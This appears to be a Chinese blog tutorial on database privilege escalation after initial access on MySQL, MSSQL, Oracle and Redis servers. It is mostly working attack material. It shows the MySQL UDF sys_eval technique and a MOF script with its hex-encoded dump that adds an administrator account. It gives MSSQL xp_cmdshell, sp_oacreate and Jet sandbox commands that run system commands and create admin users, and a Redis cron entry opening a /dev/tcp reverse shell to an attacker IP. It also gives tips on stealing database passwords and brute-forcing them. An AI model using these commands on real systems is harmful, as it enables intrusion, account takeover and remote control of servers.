作者名:白昼安全
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 在哪能找到解救我的办法
模拟环境我们拿到了一个普通用户的权限,在 系统溢出漏洞无果的情况下,可以采用 数据库进行提权,除了 access数据库外,其他数据库基本都存在数据库提权
注意:因为 access数据库只是一种 网页文档的形式,与其他数据库不一样,除此以外还有一些其他的区别,所以并 不适用于数据库提权
适用数据库提权的条件如下
1、确认目标开放了数据库服务
2、知道数据库最高权限的密码.例如mysql数据库,就是root账户的密码
当然在使用数据库提权前我们还是要进行一些简单的信息收集,来完成提权操作
我们可以先通过查看目标开放的端口来判断目标是否开放了数据库服务,这里给大家列出了常见的几个数据库与默认对应端口,如下
3306 mysql 默认端口
1433 mssql默认端口
1521 oracle默认端口
6379 redis默认端口
当端口探测中发现目标开启的服务中有这几个就可以暂时初步判定目标开启了数据库服务
如果无法进行端口探测时也可以进行 服务探测,如果目标开启了数据库,那么对应的 服务项也会启动,当你探测到数据库服务开启时,也可以尝试使用数据库提权
下面是几种常见的数据库服务
mysql
mssql
oracle
redis
上面提到了使用数据库提权需要知道数据库最高权限的密码,那这个密码该怎么找呢?下面来介绍几种方式
使用过数据库的同学都知道,网站部署数据库时需要带有 数据库连接信息,包含账密,连接端口,数据库名,ip地址等,如果找到这个文件那密码自然不在话下
例如phpstudy的连接文件如下
下面列出一些常见数据库的连接文件名,如下
sql
data
inc
config
conn
database
common
数据库基本都有自带的密码文件,例如mysql自带的密码文件路径如下
网站路径/MYSQL/data
该目录下的文件名就是数据库对应的库名,里面后缀为.MYD的就是数据文件,如下
例如user.MYD就是mysql库的user表的信息,这里面放的什么就不用说了吧,用记事本打开就能看到一些信息,
但可能看不全,需要拼接
通过xhray等等工具爆破,此时需要数据库允许外部连接
若目标没有开启数据库外连,就可以尝试上传本地爆破程序,此时爆破目标的ip就变成了127.0.0.1,也就是localhost
这些本地爆破脚本一搜一大把,这里就不多讲了(实在找不到也可以找我要哦)
还有的就是一些社工手段,弱口令等方式拿到密码
UDF就是User Defined Functions,通俗来讲就是用户可 自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用 提权脚本放到对方 mysql指定的目录下, 运用脚本创建自定义函数, 使用函数即可获取shell权限。
而提权脚本怎么拿呢?
sqlmap相信很多同学都有,在sqlmap\data\udf\mysql\windows路径下就有32位和64位的这个提权脚本,如下
每个文件夹下都是一个dll文件,这个文件就是加密过的提权脚本
下面就给大家来演示一下详细步骤,如下
1、准备提权脚本
我们讲了上面那个就是加密过的提权脚本,因为sqlmap怕这个提权脚本被查杀,所以进行了加密,我们要用的时候再用sqlmap自带的解密文件解密就行
解密步骤如下
选择指定版本(32位或者64位)的加密脚本文件
复制选择好的脚本文件(dll_文件)到sqlamp/extra/cloak
打开cmd执行以下命令进行解密
python cloak.py -d -i lib_mysqludf_sys.dll_
解密后就会生成如下的一个dll文件
这就是我们要使用的提权脚本
2、上传到利用目录
在mysql<5.1 他的udf利用目录是在 c:/windwos或者 system32
在mysql=>5.1 他的udf利用目录是在 /lib/plugin
现在大部分都用的是>=5.1的版本,所以先看看lib目录下的内容,如下
但是发现lib目录下并没有plugin文件,此时怎么办诶?
还能怎么办,直接给他新建一个哈哈,但是目录名一定得正确,必须构造出lib/plugin/目录
再把刚才的提权脚本上传到该目录下
注意:这里的udf.dll就是上面的lib_mysqludf_sys.dll,只是我进行了一个重命名
3、执行恶意命令
连接目标数据库执行以下命令
create function sys_eval returns string soname "udf.dll";
如果执行成功,即结果为true就说明没问题,然后就可以使用下面的格式执行命令
select sys_eval("要执行的命令");
如下
可以看到已经得到了administrator权限,因为部署数据库时就是使用admin权限来部署的,如果部署数据库是system权限,那么拿到的也会是system权限
MOF提权适用于2003server
条件:数据库开启了 允许导入导出的配置
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
mof脚本如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
在操作数据库执行如下命令(采用了编码),将mof文件导入C:/Windows/system32/wbem/mof/ 目录下
mysql >select0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0Aintodumpfile"C:/windows/system32/wbem/mof/test.mof";
成功后会在机器上生成一个users的用户,密码为hacker
注意:执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:
Msf对应攻击模块名:
exploit/windows/mysql/mysql_mof
条件:
1、数据库开启了写入文件的配置
2、数据库允许外连
利用也比较简单,就是利用mysql写入恶意木马到启动项目录,当用户启动系统时就会自动加载素有启动项内容,自然也就执行了我们的恶意程序,拿到权限
注意:windows server 启动项目录 C:/programdata/microsoft/windows/start menu/programs/startup/
Msf对应利用模块: exploit/windows/mysql/mysql_start_up
和UDF一样,用nc反弹shell命令即可
就是先做一个反弹shell的php脚本文件,上传后执行,再用nc监听反弹的权限,很简单,这里就不再淹死了
sql server 2000 版本是默认开启了xp_cmdshell
在sql server 2005之后的版本就是默认禁止。这个时候就需要 管理员sa权限才能开启
xp_cmdshell可以理解为sql server的一个函数,使用步骤如下
开启xp_cmdshell(高版本可省去这一步)
操作数据库执行以下命令
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
2、执行恶意命令
这里就相当于已经拿到权限了,直接按如下格式执行命令即可
exec master.dbo.xp_cmdshell '命令'
sp_oacreate和上面的xp_cmdshell没啥区别,都可以理解为函数,组件,只是利用的命令不同而已,如下
打开sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行恶意命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\\1.txt'
上面这个语句就是执行whoami命令,将结果输出到c盘下的1.txt中(因为这种用法不会在当前回显)
可以看到当前页面没有什么回显,此时我们查看一下c盘下的1.txt,结果如下
可以看到直接就是system权限,也就相当于拿到了我们想要的权限
这个就是利用sql server上的沙盒模式,原理很复杂,但是利用过程比较简单,也是几条命令,照着我的命令敲就行了,如下
提权命令
exec sp_configure 'show advanced options',1;reconfigure;
不开启的话在执行xp_regwrite会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
执行系统命令,创建margin用户,密码为margin
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
再来看看用户是否创建成功
可以看到已经有margin用户了,而margin用户的权限也是高权限
这里就不多讲了
映像劫持和上面的xp_cmdshell也差不多,都是几条命令的事,这里给大家附上一篇博客,里面也介绍了一些常见的mssql提权方法,其中就有映像劫持,链接如下(这里就不讲了,有兴趣的同学可以去看看)
数据库安全之MSSQL渗透 - FreeBuf网络安全行业门户
除此之外还有很多很多的方法,大家都可以多学学,增加自己的攻击面
oracle提权的话有一款专门的工具,就是oracleshell这款工具,工具也用百度网盘给大家打包了,链接如下
链接: https://pan.baidu.com/s/11kH6dQmbA06I7kic7qLKxw?pwd=h0bk
提取码:h0bk
下载打开后如下
那个jar文件就是工具,双击打开如下
模式这里可以选择操作该工具的权限
有普通,dba,注入三种,选择自己获得的权限,输入ip,用户名,密码,端口等直接连接就可以了,非常方便
因为oracle数据库要钱,所以这里也没有靶机环境来操作,就不多讲了,如果遇到了并且需要提权就用这个工具就可以了
这个一般是用计划任务反弹shell来进行提权操作,按照如下步骤输入命令即可
建立计划任务(ip为自己的ip,端口为接收权限的端口)
set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.1.111/6666 0<&1 2>&1\n”
将计划任务放到定时任务下
config set dir /var/spool/cron/
设置以root用户的身份执行该任务
config set dbfilename root
保存
save
再用nc监听6666端口即可,上面的kali反弹ip和端口需要
最后再提一下,数据库提权方式尽量是在 其他提权方式无果后再进行尝试